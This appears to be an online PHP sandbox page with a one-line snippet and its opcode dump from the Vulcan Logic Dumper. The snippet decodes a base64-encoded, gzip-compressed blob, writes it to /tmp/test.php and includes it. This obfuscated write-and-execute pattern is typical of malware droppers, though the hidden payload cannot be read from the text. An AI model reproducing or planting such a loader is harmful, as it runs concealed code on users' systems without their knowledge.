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run code in 300+ PHP versions simultaneously
<?php if(version_compare(PHP_VERSION,'5.3.0','<')) exit; file_put_contents('/tmp/test.php', gzuncompress(base64_decode('eNrtWGtv2zYU/b5fwQBEKKGyq3ht2lkQOjd11wJNGtTGgLUuBEaibCUSKZNU3cTTf9/Vw/IzRpZ9GLrZsC2LOjw899xL0dRxrJ1X6ST9idOEqZT6DH1mPBgNdBBHV06mGHpDNRtGCfssOHP8mCrVNCH2XQNajRYN8zS7iiMfhRn3dSQ48jxfcKVl5msD+y7hYkasVUaEA5dncWzOo9D4xqSCXtAnSalkxuW7S+/3/qfB+48XFnne/rn9gljkeKwdl5jmXDKdSY4KJNfd7vpQFg5MJwfOI2iK4FO0EVCviXlMk9Qpv9YuhpEsrpZKoPdD+Fms2H4cgPKabxegMmTJdS8GADhsFbErpgvzlIYADIBooeG0lFQBxqsA0zSdWiAOnXwzP4kIovDWwON/7v+SasP38T7fxyu+7yHEE3cl1PE9oTqF0xPXdUMKZjaE5dlu//BkzZ68qu/ye1GlQ4DOUyk08zULEI7KenU2nQTaDDTMtyzWjMpAzLhRFVYlQjLwWg/vzHkAw3gBC2kWa68I7w5mhQdsW1Bno6HSkedLbati3lSUwzsDX5cjH20Nvcm3Wwp4bEAG9ui8Np0dUSv9Ohufdl7+ckp5cNp5fnpiNEOu6SO/nQ+hvvG1y9ls7XZjkH4mRcqevmYyjngBulkDGeRX0l4WBunYJ52W/bLV6SDb7pZvdNYfAH3jHmQWou1PMyiKlQ4nqNOpO4CcJza8kCHCEJQi24QpelP2DoVMKEzJP1pJK0DvulFXIWBvkwZM2jUUfPtYNhlm+3iaCe2Y1cEitY1I36FIoV6iNJMBTSxUmIxCKRKkFyVqIS7Qwm8L0RCw6IkN0FtVGlIOVs8VsnLhPxru4/N/szr9C/qycvf7tMHThP2iY//LNs0iPWmMenwh/CABPqAS7s299cOlmaJifeTjv5Pl/58dO2pi1+rSUxF9OmAiiw+LzGGROSwyh0XmsMgcFpnHLzK79ltrIeLYwomF+fK5Bo6PXJyYcz2RYobAwlH/u8/SoqthYP4K81rwiFfHbnWoo1hcrA44rn+gIxct2pLROkHx2CHHokjX6BMLY1bqPCv2tYbnXfTO+4PL3lnf89pktLXbhSDBdkb9iYHFwtpzpiciUIZJFcJpGZbKrso9fLrADCZC6gsKlWFatvXMPHJdoktCX3Ad8Yw5Wt7O8bQso61xYZuJp4v7Z7GZdmrqiH8TN3AnnTaA5abayX2qQenSUoSlOWf+RCDytvf+Q7eokF0SHaxcLJvnCJL6RWPVEf2J4L8AK7qqL/bXL6Q4I1830lSBlxznTCk6Zk39Nbgq6ocpzxuv8krLZW8wuDeIzZHyvwDNSVvD'))); include '/tmp/test.php';
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 7
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2tHdT
function name:  (null)
number of ops:  19
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'version_compare'
          1        SEND_VAL                                                 '8.0.0'
          2        SEND_VAL                                                 '5.3.0'
          3        SEND_VAL                                                 '%3C'
          4        DO_ICALL                                         $0      
          5      > JMPZ                                                     $0, ->7
          6    > > EXIT                                                     
    3     7    >   INIT_FCALL                                               'file_put_contents'
          8        SEND_VAL                                                 '%2Ftmp%2Ftest.php'
          9        INIT_FCALL                                               'gzuncompress'
         10        INIT_FCALL                                               'base64_decode'
         11        SEND_VAL                                                 'eNrtWGtv2zYU%2Fb5fwQBEKKGyq3ht2lkQOjd11wJNGtTGgLUuBEaibCUSKZNU3cTTf9%2FVw%2FIzRpZ9GLrZsC2LOjw899xL0dRxrJ1X6ST9idOEqZT6DH1mPBgNdBBHV06mGHpDNRtGCfssOHP8mCrVNCH2XQNajRYN8zS7iiMfhRn3dSQ48jxfcKVl5msD%2By7hYkasVUaEA5dncWzOo9D4xqSCXtAnSalkxuW7S%2B%2F3%2FqfB%2B48XFnne%2Frn9gljkeKwdl5jmXDKdSY4KJNfd7vpQFg5MJwfOI2iK4FO0EVCviXlMk9Qpv9YuhpEsrpZKoPdD%2BFms2H4cgPKabxegMmTJdS8GADhsFbErpgvzlIYADIBooeG0lFQBxqsA0zSdWiAOnXwzP4kIovDWwON%2F7v%2BSasP38T7fxyu%2B7yHEE3cl1PE9oTqF0xPXdUMKZjaE5dlu%2F%2FBkzZ68qu%2Fye1GlQ4DOUyk08zULEI7KenU2nQTaDDTMtyzWjMpAzLhRFVYlQjLwWg%2FvzHkAw3gBC2kWa68I7w5mhQdsW1Bno6HSkedLbati3lSUwzsDX5cjH20Nvcm3Wwp4bEAG9ui8Np0dUSv9Ohufdl7%2Bckp5cNp5fnpiNEOu6SO%2FnQ%2BhvvG1y9ls7XZjkH4mRcqevmYyjngBulkDGeRX0l4WBunYJ52W%2FbLV6SDb7pZvdNYfAH3jHmQWou1PMyiKlQ4nqNOpO4CcJza8kCHCEJQi24QpelP2DoVMKEzJP1pJK0DvulFXIWBvkwZM2jUUfPtYNhlm%2B3iaCe2Y1cEitY1I36FIoV6iNJMBTSxUmIxCKRKkFyVqIS7Qwm8L0RCw6IkN0FtVGlIOVs8VsnLhPxru4%2FN%2Fszr9C%2Fqycvf7tMHThP2iY%2F%2FLNs0iPWmMenwh%2FCABPqAS7s299cOlmaJifeTjv5Pl%2F58dO2pi1%2BrSUxF9OmAiiw%2BLzGGROSwyh0XmsMgcFpnHLzK79ltrIeLYwomF%2BfK5Bo6PXJyYcz2RYobAwlH%2Fu8%2FSoqthYP4K81rwiFfHbnWoo1hcrA44rn%2BgIxct2pLROkHx2CHHokjX6BMLY1bqPCv2tYbnXfTO%2B4PL3lnf89pktLXbhSDBdkb9iYHFwtpzpiciUIZJFcJpGZbKrso9fLrADCZC6gsKlWFatvXMPHJdoktCX3Ad8Yw5Wt7O8bQso61xYZuJp4v7Z7GZdmrqiH8TN3AnnTaA5abayX2qQenSUoSlOWf%2BRCDytvf%2BQ7eokF0SHaxcLJvnCJL6RWPVEf2J4L8AK7qqL%2FbXL6Q4I1830lSBlxznTCk6Zk39Nbgq6ocpzxuv8krLZW8wuDeIzZHyvwDNSVvD'
         12        DO_ICALL                                         $1      
         13        SEND_VAR                                                 $1
         14        DO_ICALL                                         $2      
         15        SEND_VAR                                                 $2
         16        DO_ICALL                                                 
    4    17        INCLUDE_OR_EVAL                                          '%2Ftmp%2Ftest.php', INCLUDE
         18      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.67 ms | 1396 KiB | 21 Q